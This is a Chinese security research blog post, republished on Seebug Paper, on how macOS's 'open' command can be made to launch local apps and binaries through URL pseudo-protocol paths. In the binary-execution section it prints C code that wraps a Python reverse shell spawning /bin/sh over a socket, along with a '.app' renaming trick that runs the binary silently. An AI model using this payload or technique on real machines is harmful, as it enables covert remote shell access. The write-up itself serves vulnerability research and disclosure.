作者:漂亮鼠
原文链接:https://mp.weixin.qq.com/s/GZ5eS_lHiBBb7jHNu6PUgg

0x00 前情提要

最近在研究mac上的一些命令注入问题,看着看着觉得蛮有意思就先记录一下。这里主要围绕比较常见的open命令展开。

顺便说一句我的mac是

所以如下的可能都是bug!

0x01 open的基础使用

先来看看open的help

比如

open -a /System/Applications/Calculator.app //打开计算器
open /System/Applications/Calculator.app //也是打开计算器
open -a /Applications/Safari.app https://www.baidu.com //打开safari并打开百度

其他的参数也就是一些细节的区别,自己可以试一下大概能知道,基本使用可以再看看这个mac open

0x02 奇妙的细节

前面看了-a和不-a都可以打开计算器,那么这两者有什么区别呢?其实还是有一些细微的区别的。

  • -a参数是指打开某个application
  • 不带-a参数的时候会根据后缀等进行自动判断使用什么app进行打开

上面是正常情况下的认知,接下来看看一些例子来理解实际情况

open http://www.baidu.com/System/Applications/Calculator.app

从前面的理解上这条命令应该是默认打开浏览器并且访问域名http://www.baidu.com/System/Applications/Calculator.app并不会打开后面的计算器,然而实际上呢?

当然同时打开了safari访问了百度,但是同时打开了计算器……

这时候我们试试-a

open -a http://www.baidu.com/System/Applications/Calculator.app

可以看到加了-a后报错了(报错就对了,报错才是正常的)。

当然我们不仅可以使用http,还能使用一大堆其他的伪协议。

比如我们使用telnet

open telnet://www.baidu.com/System/Applications/Calculator.app

有时候我们想要无感知的,这时候只要把他换成ftp就可以了(其实会弹一个连接远程的服务的确认框,但总比弹百度好一些)

open ftp://8.8.8.8/System/Applications/Calculator.app

这些我猜测是因为伪协议导致的,目前猜测是iterm2中的伪协议,具体可以查看

当然抛开伪协议,我觉得open自身多少有点问题(

0x03 执行二进制

前面我们都是在打开app,我们能不能执行二进制呢?是可以的

我们正常来使用open执行一个二进制会怎么样?

这里先使用普通的open,分别打开python和curl,前者报了个错,后者则弹框提示要确认,当然点击确认的话是可以执行的。

可是这并不是我想要的啊!

这时候我们使用-a看看会怎么样?

open -a /usr/bin/curl

实际表现是没有任何反应的,那他到底执行没有呢?

这里我试着编译了一个执行反弹shell的c程序来看看是否反弹shell这样就能知道是否执行了。

c程序如下:

#include <stdio.h>
#include <stdlib.h>
int main(){
char* cmd = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'";
system(cmd);
}

编译成一个叫testC的可执行程序,接下来我们监听10000端口同时试着用open打开它

open -a /Users/miku/tmp/testC

可以看到确实执行了。

这就比较神奇了,因为-a参数明明是执行application的,众所周知application在mac上其实是一个文件夹,但是现在却同样适用于二进制可执行文件!

那如果我们不用-a呢?试试看

open /Users/miku/tmp/testC

也是可以的,不过很显然这里是通过iterm2打开二进制文件,这种应该算预料之中的行为。但是我不想弹这个,能不能解决呢?试试前面的伪协议思路

open http://www.baidu.com/Users/miku/tmp/testC

iterm打开了一个新的终端页面,但是并没有执行testC。那怎么做才能执行呢?我们试试把testC的文件名改一改,改成testC.app。看看open是不是以后缀来做判断的。

open http://www.baidu.com/Users/miku/tmp/testC.app

成了,不仅没有弹任何窗口,还会成功反弹shell给我。这里的协议只要改成任意在支持列表里的就行,而且和打开正常application不一样,并不会弹任何无关的东西只会执行最后的testC.app!

0x04 结尾

上面这些要想完全应用到实际场景中可能还需要各位开动小脑筋,不过至少可以说明一些事情了。很多命令在实际使用的时候并不会像他们说明文档里说的那样简单纯粹。

我把这个问题汇总了一下,用我蹩脚的英文把这个当作漏洞反馈给了apple官方了,至于他接不接受,我才不care!


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1630/